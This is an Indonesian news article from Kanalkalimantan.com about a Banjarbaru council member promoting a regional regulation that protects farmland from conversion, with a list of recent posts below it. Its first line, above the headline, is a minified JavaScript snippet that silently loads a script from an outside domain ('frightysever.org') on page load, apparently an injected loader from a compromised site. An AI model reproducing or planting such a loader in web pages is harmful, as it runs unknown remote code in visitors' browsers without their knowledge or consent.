(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Anggota Komisi III Dorong Perlindungan Lahan Pertanian Lewat Perda LP2B


KANALKALIMANTAN.COM, BANJARBARU – Anggota Komisi III DPRD Kota Banjarbaru, Hindera Wahyudi menggencarkan fungsi pengawasan produk hukum daerah, salah satunya sosialisasi Peraturan Daerah Nomor 3 Tahun 2023 tentang Perlindungan Lahan Pertanian Pangan Berkelanjutan (LP2B).

Di hadapan puluhan masyarakat di Kecamatan Cempaka, Selasa (25/11/2025) siang, wakil rakyat asla Partai Gerindra hadir memberikan pemahaman tentang penyediaan lahan pertanian pangan yang tidak boleh dialihfungsikan.

“Dalam kegiatan ini kami ingin mampu memberikan pengawasan sejauh mana Perda Perlindungan LP2B ini dilaksanakan pemerintah dan dipatuhi oleh masyarakat,” ujar Hindera Wahyudi.

Dia menjelaskan Perda ini mengamanatkan kepada Pemerintah Kota Banjarbaru untuk menyediakan lahan pertanian pangan atau sawah yang tidak boleh dialihfungsikan untuk yang lain.

Baca juga: Gusti Rizky Kembali Pimpin DPD Golkar Banjarbaru Periode Kedua

Kemudian ketika masyarakat patuh akan regulasi ini katanya, maka pemerintah memiliki kewajiban untuk memberikan insentif kepada masyarakat.

“Insentif yang dimaksud bukan berupa uang, melainkan, perlindungan LP2B melalui berbagai bentuk,” jelas dia.

Perlindungan LP2B dapat berupa pengembangan infrastruktur pertanian dan bantuan pembiayaan pemberian bibit unggul, kemudahan akses informasi dan teknologi, penyediaan sarana produksi pertanian, serta jaminan sertifikat hak atas tanah di wilayah LP2B dan penghargaan bagi petani.

“Melalui insentif ini mendorong petani untuk mempertahankan LP2B, menjaga ketahanan pangan dan memberikan apresiasi atas upaya mereka mencegah alih fungsi lahan,” tambah Hindera.

Melalui sosialisasi ini pun dirinya berharap, lahan persawahan seluruhnya dapat diawasi melalui aturan LP2B.

“Mengingat status Banjarbaru saat ini menjadi Ibu Kota Provinsi dan maraknya pembangunan di kawasan perumahan, maka lahan persawahan harus diatur dalam LP2B agar lahan pertanian yang ada tidak tergerus pembangunan,” tutupnya. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

5 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

7 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

12 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

15 jam ago

Malam Imlek Penuh Khidmat di Klenteng Karta Raharja Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More

16 jam ago

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

1 hari ago

This website uses cookies.